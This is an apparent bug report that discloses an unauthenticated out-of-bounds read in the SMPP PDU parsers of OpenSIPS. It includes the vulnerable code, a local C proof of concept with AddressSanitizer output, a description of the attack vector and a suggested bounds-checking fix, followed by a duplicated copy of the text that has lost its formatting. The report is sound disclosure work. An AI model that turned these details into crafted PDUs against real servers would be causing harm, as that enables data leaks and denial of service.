OpenSIPS version you are running
Latest master (commit a74fc46, 2026-03-19)
Describe the bug
The SMPP PDU body parsing functions parse_submit_or_deliver_body() and parse_bind_receiver_body() in modules/proto_smpp/smpp.c advance a pointer through the received data without any bounds checking against the PDU's command_length. A crafted PDU with a short command_length but no null terminators in the body causes the parser to read far beyond the actual received data.
parse_submit_or_deliver_body() (smpp.c, line ~955):
static void parse_submit_or_deliver_body(smpp_submit_sm_t *body,
smpp_header_t *header, char *buffer)
{
char *p = buffer;
p += copy_var_str(body->service_type, p, MAX_SERVICE_TYPE_LEN);
body->source_addr_ton = *p++;
body->source_addr_npi = *p++;
p += copy_var_str(body->source_addr, p, MAX_ADDRESS_LEN);
// ... more fields, no bounds checking ...
body->sm_length = *p++;
copy_fixed_str(body->short_message, p, body->sm_length);
}
The header parameter is received but never used — there is no check that p stays within command_length - HEADER_SZ bytes. Each copy_var_str() scans for a null byte or until maxlen, so if the data has no null terminators the pointer advances past the actual PDU data.
parse_bind_receiver_body() (smpp.c, line ~983) has the same pattern and is reachable as the first PDU on an SMPP connection (bind request), before any authentication.
To Reproduce
// Compile: clang -fsanitize=address -g -o poc_oob poc_oob.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#define MAX_SERVICE_TYPE_LEN 6
#define MAX_ADDRESS_LEN 21
#define MAX_SCHEDULE_DELIVERY_LEN 1
#define MAX_VALIDITY_PERIOD 1
typedef struct {
char service_type[MAX_SERVICE_TYPE_LEN];
uint8_t source_addr_ton, source_addr_npi;
char source_addr[MAX_ADDRESS_LEN];
uint8_t dest_addr_ton, dest_addr_npi;
char destination_addr[MAX_ADDRESS_LEN];
uint8_t esm_class, protocol_id, protocol_flag;
char schedule_delivery_time[MAX_SCHEDULE_DELIVERY_LEN];
char validity_period[MAX_VALIDITY_PERIOD];
uint8_t registered_delivery, replace_if_present_flag;
uint8_t data_coding, sm_default_msg_id, sm_length;
char short_message[254];
} smpp_submit_sm_t;
int copy_var_str(char *to, char *from, int maxlen) {
int iret = 1;
while (*from && maxlen--) { *to++ = *from++; iret++; }
*to++ = '\0';
return iret;
}
int copy_fixed_str(char *to, char *from, int n) {
int r = n; while (n--) *to++ = *from++; return r;
}
void parse_submit_or_deliver_body(smpp_submit_sm_t *body, char *buffer) {
char *p = buffer;
p += copy_var_str(body->service_type, p, MAX_SERVICE_TYPE_LEN);
body->source_addr_ton = *p++;
body->source_addr_npi = *p++;
p += copy_var_str(body->source_addr, p, MAX_ADDRESS_LEN);
body->dest_addr_ton = *p++;
body->dest_addr_npi = *p++;
p += copy_var_str(body->destination_addr, p, MAX_ADDRESS_LEN);
body->esm_class = *p++;
body->protocol_id = *p++;
body->protocol_flag = *p++;
p += copy_var_str(body->schedule_delivery_time, p, MAX_SCHEDULE_DELIVERY_LEN);
p += copy_var_str(body->validity_period, p, MAX_VALIDITY_PERIOD);
body->registered_delivery = *p++;
body->replace_if_present_flag = *p++;
body->data_coding = *p++;
body->sm_default_msg_id = *p++;
body->sm_length = *p++;
copy_fixed_str(body->short_message, p, body->sm_length);
}
int main(void) {
smpp_submit_sm_t body;
memset(&body, 0, sizeof(body));
// PDU body only 10 bytes, no null terminators
char *buffer = (char *)malloc(10);
memset(buffer, 'A', 10);
parse_submit_or_deliver_body(&body, buffer);
free(buffer);
return 0;
}
Run:
$ clang -fsanitize=address -g -o poc_oob poc_oob.c && ./poc_oob
==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
READ of size 1 at ... thread T0
#0 in copy_var_str
#1 in parse_submit_or_deliver_body
... is located 0 bytes after 10-byte region
Expected behavior
The parsing functions should use header->command_length to validate that the pointer does not advance past the end of the PDU body. Out-of-bounds PDUs should be rejected.
Relevant System Logs
Without ASAN, the parser silently reads stale/uninitialized data from the TCP receive buffer (up to 65KB). This can produce garbled field values or crash.
OS/environment information
- Operating System: Ubuntu 22.04
- OpenSIPS installation: git (master, commit a74fc46)
Additional context
- CWE: CWE-125 (Out-of-bounds Read)
- Attack vector: Network — send a crafted
submit_sm, deliver_sm, or bind_transceiver SMPP PDU with a short command_length and no null terminators
- Authentication: Not required (bind PDU is the first message on a new connection)
- Severity: High — reads up to ~65KB past the PDU boundary from the TCP receive buffer. Information leak and potential crash (DoS).
Suggested fix — pass command_length into the parse functions and bounds-check before each access:
static int parse_submit_or_deliver_body(smpp_submit_sm_t *body,
smpp_header_t *header, char *buffer)
{
char *p = buffer;
char *end = buffer + (header->command_length - HEADER_SZ);
if (p >= end) return -1;
p += copy_var_str(body->service_type, p, MIN(MAX_SERVICE_TYPE_LEN, end - p));
if (p + 2 > end) return -1;
body->source_addr_ton = *p++;
body->source_addr_npi = *p++;
// ... etc
}
OpenSIPS version you are running
Describe the bug
The SMPP PDU body parsing functions
parse_submit_or_deliver_body()andparse_bind_receiver_body()inmodules/proto_smpp/smpp.cadvance a pointer through the received data without any bounds checking against the PDU'scommand_length. A crafted PDU with a shortcommand_lengthbut no null terminators in the body causes the parser to read far beyond the actual received data.parse_submit_or_deliver_body()(smpp.c, line ~955):The
headerparameter is received but never used — there is no check thatpstays withincommand_length - HEADER_SZbytes. Eachcopy_var_str()scans for a null byte or untilmaxlen, so if the data has no null terminators the pointer advances past the actual PDU data.parse_bind_receiver_body()(smpp.c, line ~983) has the same pattern and is reachable as the first PDU on an SMPP connection (bind request), before any authentication.To Reproduce
Run:
Expected behavior
The parsing functions should use
header->command_lengthto validate that the pointer does not advance past the end of the PDU body. Out-of-bounds PDUs should be rejected.Relevant System Logs
Without ASAN, the parser silently reads stale/uninitialized data from the TCP receive buffer (up to 65KB). This can produce garbled field values or crash.
OS/environment information
Additional context
submit_sm,deliver_sm, orbind_transceiverSMPP PDU with a shortcommand_lengthand no null terminatorsSuggested fix — pass
command_lengthinto the parse functions and bounds-check before each access: